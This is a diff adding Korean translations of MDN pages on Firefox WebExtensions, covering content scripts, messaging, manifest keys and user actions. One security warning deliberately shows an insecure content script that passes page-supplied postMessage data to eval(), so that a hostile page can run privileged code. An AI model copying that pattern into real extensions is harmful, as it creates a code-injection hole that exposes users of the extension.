Note that content scripts are blocked on the following domains: accounts-static.cdn.mozilla.net, accounts.firefox.com, addons.cdn.mozilla.net, addons.mozilla.org, api.accounts.firefox.com, content.cdn.mozilla.net, content.cdn.mozilla.net, discovery.addons.mozilla.org, input.mozilla.org, install.mozilla.org, oauth.accounts.firefox.com, profile.accounts.firefox.com, support.mozilla.org, sync.services.mozilla.com, and testpilot.firefox.com. If you try to inject a content script into a page in these domains, it will fail and the page will log a CSP error.

+ +

As these restrictions include addons.mozilla.org, users may attempt to use your extension immediately after installation and find it doesn't work. You may want to add an appropriate warning or an onboarding page that moves users away from addons.mozilla.org.

+
+ +
+

Values added to the global scope of a content script with var foo or window.foo = "bar" may disappear due to bug 1408996.

+
+ +

Loading content scripts

+ +

You can load a content script into a web page in one of three ways:

+ +
    +
  1. at install time, into pages that match URL patterns: using the content_scripts key in your manifest.json, you can ask the browser to load a content script whenever the browser loads a page whose URL matches a given pattern.
  2. +
  3. at runtime, into pages that match URL patterns: using the {{WebExtAPIRef("contentScripts")}} API, you can ask the browser to load a content script whenever the browser loads a page whose URL matches a given pattern. This is just like method (1), except you can add and remove content scripts at runtime.
  4. +
  5. at runtime, into specific tabs: using the tabs.executeScript() API, you can load a content script into a specific tab whenever you want: for example, in response to the user clicking on a browser action.
  6. +
+ +

There is only one global scope per frame per extension, so variables from one content script can directly be accessed by another content script, regardless of how the content script was loaded.

+ +

Using methods (1) and (2) you can only load scripts into pages whose URLs can be represented using a match pattern. Using method (3), you can also load scripts into pages packaged with your extension, but you can't load scripts into privileged browser pages like "about:debugging" or "about:addons".

+ +

Content script environment

+ +

DOM access

+ +

Content scripts can access and modify the page's DOM, just like normal page scripts can. They can also see any changes that were made to the DOM by page scripts.

+ +

However, content scripts get a "clean view of the DOM". This means:

+ + + +

In Gecko, this behavior is called Xray vision.

+ +

For example, consider a web page like this:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
+  </head>
+
+  <body>
+    <script src="page-scripts/page-script.js"></script>
+  </body>
+</html>
+ +

The script "page-script.js" does this:

+ +
// page-script.js
+
+// add a new element to the DOM
+var p = document.createElement("p");
+p.textContent = "This paragraph was added by a page script.";
+p.setAttribute("id", "page-script-para");
+document.body.appendChild(p);
+
+// define a new property on the window
+window.foo = "This global variable was added by a page script";
+
+// redefine the built-in window.confirm() function
+window.confirm = function() {
+  alert("The page script has also redefined 'confirm'");
+}
+ +

Now an extension injects a content script into the page:

+ +
// content-script.js
+
+// can access and modify the DOM
+var pageScriptPara = document.getElementById("page-script-para");
+pageScriptPara.style.backgroundColor = "blue";
+
+// can't see page-script-added properties
+console.log(window.foo);  // undefined
+
+// sees the original form of redefined properties
+window.confirm("Are you sure?"); // calls the original window.confirm()
+ +

The same is true in reverse: page scripts can't see JavaScript properties added by content scripts.

+ +

All this means that the content script can rely on DOM properties behaving predictably, and doesn't have to worry about variables it defines clashing with variables defined in the page script.

+ +

One practical consequence of this behavior is that a content script won't have access to any JavaScript libraries loaded by the page. So for example, if the page includes jQuery, the content script won't be able to see it.

+ +

If a content script does want to use a JavaScript library, then the library itself should be injected as a content script alongside the content script that wants to use it:

+ +
"content_scripts": [
+  {
+    "matches": ["*://*.mozilla.org/*"],
+    "js": ["jquery.js", "content-script.js"]
+  }
+]
+ +

Note that Firefox provides some APIs that enable content scripts to access JavaScript objects created by page scripts and to expose their own JavaScript objects to page scripts. See Sharing objects with page scripts for more details.

+ +

WebExtension APIs

+ +

In addition to the standard DOM APIs, content scripts can use the following WebExtension APIs:

+ +

From extension:

+ + + +

From runtime:

+ + + +

From i18n:

+ + + +

From menus:

+ + + +

Everything from storage.

+ +

XHR and Fetch

+ +

Content scripts can make requests using the normal window.XMLHttpRequest and window.fetch() APIs.

+ +

Content scripts get the same cross-domain privileges as the rest of the extension: so if the extension has requested cross-domain access for a domain using the permissions key in manifest.json, then its content scripts get access that domain as well.

+ +

This is accomplished by exposing more privileged XHR and fetch instances in the content script, which has the side-effect of not setting the Origin and Referer headers like a request from the page itself would, this is often preferable to prevent the request from revealing its cross-orign nature. From version 58 onwards extensions that need to perform requests that behave as if they were sent by the content itself can use  content.XMLHttpRequest and content.fetch() instead. For cross-browser extensions their presence must be feature-detected.

+ +

Communicating with background scripts

+ +

Although content scripts can't directly use most of the WebExtension APIs, they can communicate with the extension's background scripts using the messaging APIs, and can therefore indirectly access all the same APIs that the background scripts can.

+ +

There are two basic patterns for communicating between the background scripts and content scripts: you can send one-off messages, with an optional response, or you can set up a longer-lived connection between the two sides, and use that connection to exchange messages.

+ +

One-off messages

+ +

To send one-off messages, with an optional response, you can use the following APIs:

+ + + + + + + + + + + + + + + + + + + + + +
 In content scriptIn background script
Send a messagebrowser.runtime.sendMessage()browser.tabs.sendMessage()
Receive a messagebrowser.runtime.onMessagebrowser.runtime.onMessage
+ +

For example, here's a content script which listens for click events in the web page. If the click was on a link, it messages the background page with the target URL:

+ +
// content-script.js
+
+window.addEventListener("click", notifyExtension);
+
+function notifyExtension(e) {
+  if (e.target.tagName != "A") {
+    return;
+  }
+  browser.runtime.sendMessage({"url": e.target.href});
+}
+ +

The background script listens for these messages and displays a notification using the notifications API:

+ +
// background-script.js
+
+browser.runtime.onMessage.addListener(notify);
+
+function notify(message) {
+  browser.notifications.create({
+    "type": "basic",
+    "iconUrl": browser.extension.getURL("link.png"),
+    "title": "You clicked a link!",
+    "message": message.url
+  });
+}
+
+ +

This example code is lightly adapted from the notify-link-clicks-i18n example on GitHub.

+ +

Connection-based messaging

+ +

Sending one-off messages can get cumbersome if you are exchanging a lot of messages between a background script and a content script. So an alternative pattern is to establish a longer-lived connection between the two contexts, and use this connection to exchange messages.

+ +

Each side has a runtime.Port object, which they can use to exchange messages.

+ +

To create the connection:

+ + + +

Once each side has a port, the two sides can exchange messages using runtime.Port.postMessage() to send a message, and runtime.Port.onMessage to receive messages.

+ +

For example, as soon as it loads, this content script:

+ + + +
// content-script.js
+
+var myPort = browser.runtime.connect({name:"port-from-cs"});
+myPort.postMessage({greeting: "hello from content script"});
+
+myPort.onMessage.addListener(function(m) {
+  console.log("In content script, received message from background script: ");
+  console.log(m.greeting);
+});
+
+document.body.addEventListener("click", function() {
+  myPort.postMessage({greeting: "they clicked the page!"});
+});
+ +

The corresponding background script:

+ + + +
// background-script.js
+
+var portFromCS;
+
+function connected(p) {
+  portFromCS = p;
+  portFromCS.postMessage({greeting: "hi there content script!"});
+  portFromCS.onMessage.addListener(function(m) {
+    console.log("In background script, received message from content script")
+    console.log(m.greeting);
+  });
+}
+
+browser.runtime.onConnect.addListener(connected);
+
+browser.browserAction.onClicked.addListener(function() {
+  portFromCS.postMessage({greeting: "they clicked the button!"});
+});
+
+ +

Multiple content scripts

+ +

If you have multiple content scripts communicating at the same time, you might want to store each connection in an array.

+ +

 

+ + + +
// background-script.js
+
+var ports = []
+
+function connected(p) {
+  ports[p.sender.tab.id]    = p
+  //...
+}
+
+browser.runtime.onConnect.addListener(connected)
+
+browser.browserAction.onClicked.addListener(function() {
+  ports.forEach(p => {
+        p.postMessage({greeting: "they clicked the button!"})
+    })
+});
+ +

 

+ + + +

Communicating with the web page

+ +

Although content scripts don't by default get access to objects created by page scripts, they can communicate with page scripts using the DOM window.postMessage and window.addEventListener APIs.

+ +

콘텐트 스크립트는 기본적으로 페이지 스크립트가 만든 객체에 접근할 수 없지만, DOM의 window.postMessagewindow.addEventListener API로 페이지 스크립트와 소통할 수 있다.

+ +

For example:

+ +

예를 들어:

+ +
// page-script.js
+
+var messenger = document.getElementById("from-page-script");
+
+messenger.addEventListener("click", messageContentScript);
+
+function messageContentScript() {
+  window.postMessage({
+    direction: "from-page-script",
+    message: "Message from the page"
+  }, "*");
+ +
// content-script.js
+
+window.addEventListener("message", function(event) {
+  if (event.source == window &&
+      event.data &&
+      event.data.direction == "from-page-script") {
+    alert("Content script received message: \"" + event.data.message + "\"");
+  }
+});
+ +

For a complete working example of this, visit the demo page on GitHub and follow the instructions.

+ +

이에 대한 완전한 예제를 보려면 GitHub의 데모페이지를 방문하여 지침을 따르십시오.

+ +
+

Note that any time you interact with untrusted web content on this way, you need to be very careful. Extensions are privileged code which can have powerful capabilities, and hostile web pages can easily trick them into accessing those capabilities.

+ +

이런 방식으로 신뢰할 수 없는 웹 콘텐트와 상호 작용할 때마다 매우 조심해야한다. 확장 기능은 강력한 기능을 제공 할 수 있는 권한있는 코드이며 적대적인 웹 페이지는 이러한 기능에 접근하는 부분을 쉽게 속일 수 있다.

+ +

To make a trivial example, suppose the content script code that receives the message does something like this:

+ +

간단한 예제로, 콘텐트 스크립트가 아래처럼 동작하는 메시지를 받는다고 한다면:

+ +
// content-script.js
+
+window.addEventListener("message", function(event) {
+  if (event.source == window &&
+      event.data.direction &&
+      event.data.direction == "from-page-script") {
+    eval(event.data.message);
+  }
+});
+ +

Now the page script can run any code with all the privileges of the content script.

+ +

이제 페이지 스크립트는 콘텐트 스크립트의 권한으로 어떤 코드라도 실행할 수 있게 된다.

+
+ +

Using eval() in content scripts

+ +

In Chrome, eval() always runs code in the context of the content script, not in the context of the page.

+ +

크롬에서, eval()은 항상 콘텐트 스크립트의 컨텍스트에서 코드를 실행한다. 페이지의 컨텍스트에서 하지 않는다.

+ +

In Firefox:

+ + + +

파이어폭스에서:

+ + + +

For example, consider a content script like this:

+ +

예를 들어, 콘텐트 스크립트가 아래 같다고 한다면:

+ +
// content-script.js
+
+window.eval('window.x = 1;');
+eval('window.y = 2');
+
+console.log(`In content script, window.x: ${window.x}`);
+console.log(`In content script, window.y: ${window.y}`);
+
+window.postMessage({
+  message: "check"
+}, "*");
+ +

This code just creates some variables x and y using window.eval() and eval(), then logs their values, then messages the page.

+ +

이 코드는 window.eval()eval()을 사용하여 변수 x 및 y를 만든 다음 값의 로그를 남기고, 페이지에 메시지를 보낸다.

+ +

On receiving the message, the page script logs the same variables:

+ +

그 메세지를 받으면, 페이지 스크립트는 같은 변수들을 로그에 남긴다:

+ +
window.addEventListener("message", function(event) {
+  if (event.source === window && event.data && event.data.message === "check") {
+    console.log(`In page script, window.x: ${window.x}`);
+    console.log(`In page script, window.y: ${window.y}`);
+  }
+});
+ +

In Chrome, this will produce output like this:

+ +

크롬에서, 이것은 아래처럼 출력될 것이다:

+ +
In content script, window.x: 1
+In content script, window.y: 2
+In page script, window.x: undefined
+In page script, window.y: undefined
+ +

In Firefox the following output is produced:

+ +

파이어폭스에서는 아래의 출력이 만들어진다:

+ +
In content script, window.x: undefined
+In content script, window.y: 2
+In page script, window.x: 1
+In page script, window.y: undefined
+ +

The same applies to setTimeout(), setInterval(), and Function().

+ +

같은 것이 setTimeout(), setInterval(), 그리고 Function()에 적용된다.

+ +

When running code in the context of the page, be very careful. The page's environment is controlled by potentially malicious web pages, which can redefine objects you interact with to behave in unexpected ways:

+ +

페이지 컨텍스트에서 코드를 실행할 때는 매우 주의해야 한다. 페이지의 환경은 잠재적으로 악의적인 웹 페이지에 의해 제어되며, 상호 작용하는 객체가 예기치 않은 방식으로 재정의될 수 있다.

+ +
// page.js redefines console.log
+
+var original = console.log;
+
+console.log = function() {
+  original(true);
+}
+
+ +
// content-script.js calls the redefined version
+
+window.eval('console.log(false)');
+
diff --git a/files/ko/mozilla/add-ons/webextensions/examples/index.html b/files/ko/mozilla/add-ons/webextensions/examples/index.html new file mode 100644 index 0000000000..1f613232bb --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/examples/index.html @@ -0,0 +1,22 @@ +--- +title: Example extensions +slug: Mozilla/Add-ons/WebExtensions/Examples +translation_of: Mozilla/Add-ons/WebExtensions/Examples +--- +
{{AddonSidebar}}
+ +

확장앱 개발하는 방법을 설명하기 위해 간단한 예제를 저장해놓은 저장소를 두고 있다 https://github.com/mdn/webextensions-examples. 이번장에서는 해당 저장소에서 사용되는 WebExtension API에 대해 설명한다.

+ +

여기에 나오는 예제는 Firefox Nightly에서 동작한다. 대부분은 이전 버전에서도 동작하지만 확장앱의 manifest.json에서 strict_min_version 키를 확인한다.

+ +

이 예제를 실행해보려면 세가지 방법이 있다.

+ +
    +
  1. 레파지토리를 클론한뒤 소스 디렉토리를 "Load Temporary Add-on"기능으로 로드한다. 확장앱은 Firefox를 재시작하기 전까지 로드되어있다.
  2. +
  3. 레파지토리를 클론한뒤 web-ext 커멘드 라인 툴을 이용해서 확장앱을 Firefox에 설치한다.
  4. +
  5. 레파지토리를 클론한뒤 빌드 디렉토리로 이동한다. 여기에는 빌드된 예제들이 있으므로 Firefox에서 (파일 / 파일 열기를 사용해) 파일을 열고 addons.mozilla.org에서 설치하는것 처럼 영구적으로 설치할 수 있습니다.
  6. +
+ +

레파지토리에 공헌하려한다면 pull request를 보내면 된다

+ +

{{WebExtAllExamples}}

diff --git a/files/ko/mozilla/add-ons/webextensions/index.html b/files/ko/mozilla/add-ons/webextensions/index.html new file mode 100644 index 0000000000..2d5d0117d8 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/index.html @@ -0,0 +1,143 @@ +--- +title: WebExtensions +slug: Mozilla/Add-ons/WebExtensions +tags: + - 확장기능 +translation_of: Mozilla/Add-ons/WebExtensions +--- +
+
{{AddonSidebar}}
+ +

Extension(이하 확장기능)은 브라우저의 기능을 확장하고 수정할 수 있습니다. Firefox 를 위한 확장기능은 확장 기능 개발을 위한 크로스 브라우저 시스템인 WebExtension API를 이용하여 만들어졌습니다. 이 시스템은 Google Chrome, Opera 및 W3C Draft Community Group에서 지원하는 extension API 와 대부분 호환됩니다. 그러므로 Google Chrome과 Opera를 대상으로 만들어진 확장기능은 조금만 수정하면 대부분 Firefox나 Microsoft Edge에서도 동작합니다. 또한 extension API는 멀티프로세스 Firefox와도 완벽하게 호환됩니다.

+ +

 

+ +

질문 혹은 아이디어가 있거나, 기존 Extension을 WebExtensions API로 마이그레이션 할 때 도움이 필요하다면  dev-addons 메일링 리스트나 IRC의 #webextensions를 통해 알려주세요. 

+
+ +

 

+ +
+
+

시작하기

+ + + +

개념

+ + + +

사용자 인터페이스

+ + + +

기능 구현

+ + + +
    +
+ +

다른 브라우저에서 옮겨오기

+ + + +

파이어폭스 생애주기

+ + +
+ +
+

Reference

+ +

JavaScript APIs

+ + + +
{{ ListSubpages ("/en-US/Add-ons/WebExtensions/API") }}
+ +

Manifest keys

+ + + +
{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}
+
+
diff --git a/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.html b/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.html new file mode 100644 index 0000000000..b4d9b06443 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.html @@ -0,0 +1,227 @@ +--- +title: content_scripts +slug: Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts +translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts +--- +
{{AddonSidebar}}
+ + + + + + + + + + + + + + + + +
TypeArray
MandatoryNo
Example +
+"content_scripts": [
+  {
+    "matches": ["*://*.mozilla.org/*"],
+    "js": ["borderify.js"]
+  }
+]
+
+ +

Instructs the browser to load content scripts into web pages whose URL matches a given pattern.

+ +

This key is an array. Each item is an object which:

+ + + +

Details of all the keys you can include are given in the table below.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
all_framesBoolean +

true: inject the scripts specified in js and css into all frames matching the specified URL requirements, even if the frame is not the topmost frame in a tab. This does not inject into child frames where only their parent matches the URL requirements and the child frame does not match the URL requirements. The URL requirements are checked for each frame independently.

+ +

false: inject only into frames matching the URL requirements which are the topmost frame in a tab.

+ +

Defaults to false.

+
cssArray +

An array of paths, relative to manifest.json, referencing CSS files that will be injected into matching pages.

+ +

Files are injected in the order given, and before the DOM is loaded.

+ +
+

Firefox resolves URLs in injected CSS files relative to the CSS file itself, rather than to the page it's injected into.

+
+
exclude_globsArrayAn array of strings containing wildcards. See Matching URL patterns below.
exclude_matchesArrayAn array of match patterns. See Matching URL patterns below.
include_globsArrayAn array of strings containing wildcards. See Matching URL patterns below.
jsArray +

An array of paths, relative to the manifest.json file, referencing JavaScript files that will be injected into matching pages.

+ +

Files are injected in the order given. This means that, for example, if you include jQuery here followed by another content script, like this:

+ +
+"js": ["jquery.js", "my-content-script.js"]
+ +

then "my-content-script.js" can use jQuery.

+ +

Files are injected at the time specified by run_at.

+
match_about_blankBoolean +

Insert the content scripts into pages whose URL is "about:blank" or "about:srcdoc", if the URL of the page that opened or created this page matches the patterns specified in the rest of the content_scripts key.

+ +

This is especially useful to run scripts in empty iframes , whose URL is "about:blank". To do this you should also set the all_frames key.

+ +

For example, suppose you have a content_scripts key like this:

+ +
+  "content_scripts": [
+    {
+      "js": ["my-script.js"],
+      "matches": ["https://example.org/"],
+      "match_about_blank": true,
+      "all_frames": true
+    }
+  ]
+ +

If the user loads https://example.org/, and this page embeds an empty iframe, then "my-script.js" will be loaded into the iframe.

+ +

match_about_blank is supported in Firefox from version 52. Note that in Firefox, content scripts won't be injected into empty iframes at "document_start" even if you specify that value in run_at.

+
matchesArray +

An array of match patterns. See Matching URL patterns below.

+ +

This is the only mandatory key.

+
run_atString +

This option determines when the scripts specified in js are injected. You can supply one of three strings here, each of which identifies a state in the process of loading a document. The states directly correspond to {{domxref("Document/readyState", "Document.readyState")}}:

+ +
    +
  • "document_start": corresponds to loading. The DOM is still loading.
  • +
  • "document_end": corresponds to interactive. The DOM has finished loading, but resources such as scripts and images may still be loading.
  • +
  • "document_idle": corresponds to complete. The document and all its resources have finished loading.
  • +
+ +

The default value is "document_idle".

+ +

In all cases, files in js are injected after files in css.

+
+ +

Matching URL patterns

+ +

The "content_scripts" key attaches content scripts to documents based on URL matching: if the document's URL matches the specification in the key, then the script will be attached. There are four properties inside "content_scripts" that you can use for this specification:

+ + + +

To match one of these properties, a URL must match at least one of the items in its array. For example, given a property like:

+ +
"matches": ["*://*.example.org/*", "*://*.example.com/*"]
+ +

Both "http://example.org/" and "http://example.com/" will match.

+ +

Since matches is the only mandatory key, the other three keys are used to limit further the URLs that match. To match the key as a whole, a URL must:

+ +
    +
  1. match the matches property
  2. +
  3. AND match the include_globs property, if present
  4. +
  5. AND NOT match the exclude_matches property, if present
  6. +
  7. AND NOT match the exclude_globs property, if present
  8. +
+ +

globs

+ +

A glob is just a string that may contain wildcards. There are two types of wildcard, and you can combine them in the same glob:

+ + + +

For example: "*na?i" would match "illuminati" and "annunaki", but not "sagnarelli".

+ +

Example

+ +
"content_scripts": [
+  {
+    "matches": ["*://*.mozilla.org/*"],
+    "js": ["borderify.js"]
+  }
+]
+ +

This injects a single content script "borderify.js" into all pages under "mozilla.org" or any of its subdomains, whether served over HTTP or HTTPS.

+ +
  "content_scripts": [
+    {
+      "exclude_matches": ["*://developer.mozilla.org/*"],
+      "matches": ["*://*.mozilla.org/*"],
+      "js": ["jquery.js", "borderify.js"]
+    }
+  ]
+ +

This injects two content scripts into all pages under "mozilla.org" or any of its subdomains except "developer.mozilla.org", whether served over HTTP or HTTPS.

+ +

The content scripts see the same view of the DOM and are injected in the order they appear in the array, so "borderify.js" can see global variables added by "jquery.js".

+ +

Browser compatibility

+ + + +

{{Compat("webextensions.manifest.content_scripts")}}

diff --git a/files/ko/mozilla/add-ons/webextensions/manifest.json/index.html b/files/ko/mozilla/add-ons/webextensions/manifest.json/index.html new file mode 100644 index 0000000000..3d4776f047 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/manifest.json/index.html @@ -0,0 +1,101 @@ +--- +title: manifest.json +slug: Mozilla/Add-ons/WebExtensions/manifest.json +translation_of: Mozilla/Add-ons/WebExtensions/manifest.json +--- +

{{AddonSidebar}}

+ +

manifest.json 파일은 json 포맷 파일로서, 모든 웹 익스텐션이 포함하고 있어야 하는 파일입니다. 

+ +

manifest.json을 사용함으로써, 당신은 당신의 익스텐션의 이름, 버젼과 같은 기본 정보를 명시하며, 또한 당신의 익스텐션의 기능, 예를 들어 기본 스크립트, 내용 스크립트, 브라우져 활동 등과 같은 측면을 명시합니다. 

+ +

manifest.json에 지원되는 키들은 아래와 같습니다.

+ +

{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}

+ +
 
+ +

"manifest_version", "version", "name" 키들은 반드시 있어야 합니다. 

+ +

"_locales"  경로가 있다면, "default_locale"은 반드시 있어야 하며, "_locales"  경로가 없다면, "default_locale"은 없어야 합니다. 

+ +

"applications"는 구글 크롬에서는 지원되지 않고, 파이어폭스 48 이전 버젼에는 의무적으로 있어야 합니다. 

+ +

간단한  manifest.json 구문은 다음과 같습니다:

+ +
{
+
+    "applications": {
+      "gecko": {
+        "id": "addon@example.com",
+          "strict_min_version": "42.0",
+          "strict_max_version": "50.*",
+          "update_url": "https://example.com/updates.json"
+      }
+    },
+
+    "background": {
+        "scripts": ["jquery.js", "my-background.js"],
+        "page": "my-background.html"
+    },
+
+    "browser_action": {
+      "default_icon": {
+        "19": "button/geo-19.png",
+        "38": "button/geo-38.png"
+      },
+      "default_title": "Whereami?",
+      "default_popup": "popup/geo.html"
+    },
+
+    "commands": {
+      "toggle-feature": {
+        "suggested_key": {
+          "default": "Ctrl+Shift+Y",
+          "linux": "Ctrl+Shift+U"
+        },
+        "description": "Send a 'toggle-feature' event"
+      }
+    },
+
+    "content_security_policy": "script-src 'self' https://example.com; object-src 'self'",
+
+    "content_scripts": [
+      {
+        "exclude_matches": ["*://developer.mozilla.org/*"],
+        "matches": ["*://*.mozilla.org/*"],
+        "js": ["borderify.js"]
+      }
+    ],
+
+    "default_locale": "en",
+
+    "description": "...",
+
+    "icons": {
+      "48": "icon.png",
+      "96": "icon@2x.png"
+    },
+
+    "manifest_version": 2,
+
+    "name": "...",
+
+    "page_action": {
+      "default_icon": {
+        "19": "button/geo-19.png",
+        "38": "button/geo-38.png"
+      },
+      "default_title": "Whereami?",
+      "default_popup": "popup/geo.html"
+    },
+
+    "permissions": ["webNavigation"],
+
+    "version": "0.1",
+
+    "web_accessible_resources": ["images/my-image.png"]
+
+}
+ +

 

diff --git a/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.html b/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.html new file mode 100644 index 0000000000..9a4b85ea74 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.html @@ -0,0 +1,200 @@ +--- +title: page_action +slug: Mozilla/Add-ons/WebExtensions/manifest.json/page_action +tags: + - 애드온 + - 웹확장 + - 확장 +translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/page_action +--- +
{{AddonSidebar}}
+ + + + + + + + + + + + + + + + +
TypeObject
MandatoryNo
Example +
+"page_action": {
+  "browser_style": true,
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  },
+  "default_title": "Whereami?",
+  "default_popup": "popup/geo.html"
+}
+
+ +

페이지 액션은 브라우저의 URL 바 안에 추가되는 아이콘이다.

+ +

필요하면 HTML, CSS, 그리고 자바스크립트를 사용하는 팝업을 띄울 수 있다.

+ +

팝업이 있으면, 아이콘을 클릭할 때 팝업이 열리고, 팝업 안의 자바스크립트가 사용자와의 상호작업을 처리할 수 있다. 팝업이 없으면, 아이콘을 클릭할 때 확장의 background 스크립트에 click 이벤트가 전달된다.

+ +

pageAction API을 사용하면 프로그램적으로 페이지 액션을 만들고 관리할 수 있다.

+ +

페이지 액션은 브라우저 액션과 비슷하다. 단지 브라우저 전체가 아니라 특정 웹페이지와만 연관된다는 점이 다르다. 액션의 대상 페이지가 분명하다면 그 페이지에서만 표시되는 페이지 액션을 사용해야 한다. 액션이 모든 페이지를 대상으로 하거나 브라우저 그 자체가 대상이라면 브라우저 액션을 사용하라.

+ +

브라우저 액션은 기본이 표시되는 것이지만 페이지 액션은 기본적으로 숨겨진다. 탭에 pageAction.show()를 호출하거나, show_matches 속성을 줘야 표시할 수 있다.

+ +

문법

+ +

page_action은 세 가지 속성들 중에 몇 가지를 가지는 객체다(역주: 파이어폭스 외의 브라우저에서도 지원되는 속성은 세가지 뿐이다). 모두 선택사항이다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
browser_styleBoolean +

선택, 기본값은 false.

+ +

사용하면, 팝업과 브라우저의 UI와 browser_style을 사용하는 다른 확장의 모습이 일관되게 보이게 하는 스타일시트를 포함한다. 기본값은 false지만 팝업이 브라우저의 다른 UI와 일관되게 하려면, 스타일시트가 포함될 수 있도록 true로 하는 것이 권장한다.

+ +

파이어폭스에서, 이 스타일시트는 chrome://browser/content/extension.css에서 볼 수 있다. OS X에서는 chrome://browser/content/extension-mac.css다.

+ +

파이어폭스 스타일 가이드는 팝업의 요소가 특정 스타일을 갖게하는 클래스들에 대해 설명한다.

+ +

최종-다운로드 예제 확장 프로그램은 팝업에 browser_style을 사용한다.

+
default_iconObject or String +

액션이 사용하는 아이콘.

+ +

권장은 19x19 픽셀과 38x38 픽셀 두 종류가 제공되는 것이다. 아래처럼 각각 "19" 와 "38"이라는 속성 이름을 사용한다:

+ +
+    "default_icon": {
+      "19": "geo-19.png",
+      "38": "geo-38.png"
+    }
+ +

이렇게 하면 화면 해상도에 따라 적절한 크기를 사용하게 된다.

+ +

아래처럼 하나의 문자열로 할 수도 있다:

+ +
+"default_icon": "geo.png"
+ +

이렇게 하면 툴바에 맞게 크기가 조정될 것이다. 흐릿해질 수 있다.

+
default_popupString +

팝업으로 띄울 HTML 파일의 경로.

+ +

HTML 파일은 일반 웹 페이지처럼 <link><script> 요소를 사용해서 CSS와 자바스크립트를 포함할 수 있다. 하지만 <script> 사이에 코드를 직접 포함하면 Content Violation Policy 에러가 발생하므로, src 속성으로 분리된 스크립트 파일을 올려야 한다.

+ +

보통의 웹페이지와 달리, 팝업에서 실행되는 자바스크립트는 모든 WebExtension API를 사용할 수 있다(당연히 필요한 권한을 가져야 한다).

+ +

이것은 지역화 가능 속성이다.

+
default_titleString +

아이콘에 마우스가 올려지면 표시되는 툴팁.

+ +

이것은 지역화 가능 속성이다.

+
hide_matchesArray of Match Pattern except <all_urls> +

주어진 선별식에 맞는 URL에 대해 페이지 액션을 숨긴다.

+ +

하지만 페이지 액션은 기본적으로 숨겨지고 show_matches와 맞아야만 보이기 때문에, 반드시 show_matches가 있어야 의미가 있다. 이 값은 show_matches 일부를 제외하는 역할을 한다. 예를 들어 값이 다음과 같다면:

+ +
+"page_action": {
+  "show_matches": ["https://*.mozilla.org/*"],
+  "hide_matches": ["https://developer.mozilla.org/*"]
+}
+ +

기본은 "mozilla.org"인 모든 HTTPS URL에 대해 페이지 액션이 표시되는 것이지만, "developer.mozilla.org"인 경우는 제외라 표시되지 않는다.

+
show_matchesArray of Match Pattern +

주어진 패턴에 일치하는 URL에 대해 페이지 액션을 보인다.

+ +

hide_matches도 보기.

+
pinnedBoolean +

선택, 기본값은 true.

+ +

주소창에 페이지 액션이 기본적으로 나타나는지를 결정한다.

+
+ +

예제

+ +
"page_action": {
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  }
+}
+ +

그냥 아이콘만 있는 페이지 액션으로 아이콘을 누르면 확장의 background 스크립트는 아래처럼 해서 click 이벤트를 받을 수 있다:

+ +
 browser.pageAction.onClicked.addListener(handleClick);
+ +
"page_action": {
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  },
+  "default_title": "Whereami?",
+  "default_popup": "popup/geo.html"
+}
+ +

아이콘, 제목, 팝업이 있는 페이지 액션으로 아이콘을 누르면 팝업이 보일 것이다.

+ +

브라우저 호환성

+ + + +

{{Compat("webextensions.manifest.page_action")}}

+ +

See also

+ + diff --git a/files/ko/mozilla/add-ons/webextensions/prerequisites/index.html b/files/ko/mozilla/add-ons/webextensions/prerequisites/index.html new file mode 100644 index 0000000000..ffe3aaf677 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/prerequisites/index.html @@ -0,0 +1,10 @@ +--- +title: Prerequisites +slug: Mozilla/Add-ons/WebExtensions/Prerequisites +translation_of: Mozilla/Add-ons/WebExtensions/Prerequisites +--- +
{{AddonSidebar}}
+ +
파이어폭스 45 이후 버젼만 있으면 됩니다. 
+ +
시작하려면 Your first WebExtension 을 보세요. 
diff --git a/files/ko/mozilla/add-ons/webextensions/user_actions/index.html b/files/ko/mozilla/add-ons/webextensions/user_actions/index.html new file mode 100644 index 0000000000..84a7210eef --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/user_actions/index.html @@ -0,0 +1,43 @@ +--- +title: 사용자 행동 +slug: Mozilla/Add-ons/WebExtensions/User_actions +translation_of: Mozilla/Add-ons/WebExtensions/User_actions +--- +
{{AddonSidebar}}
+ +

Some WebExtension APIs perform functions that are generally performed as a result of a user action. For example:

+ + + +

To follow the principle of "no surprises", APIs like this can only be called from inside the handler for a user action. User actions include the following:

+ + + +

For example:

+ +
function handleClick() {
+  browser.sidebarAction.open();
+}
+
+browser.browserAction.onClicked.addListener(handleClick);
+ +

Note that user actions in normal web pages are not treated as user actions for this purpose. For example, if a user clicks a button in a normal web page, and a content script has added a click handler for that button and in that handler sends a message to the extension's background page, then the background page message handler is not considered to be handling a user action.

+ +

Also, if a user input handler waits on a promise, then its status as a user input handler is lost. For example:

+ +
async function handleClick() {
+  let result = await someAsyncFunction();
+
+  // this will fail, because the handler lost its "user action handler" status
+  browser.sidebarAction.open();
+}
+
+browser.browserAction.onClicked.addListener(handleClick);
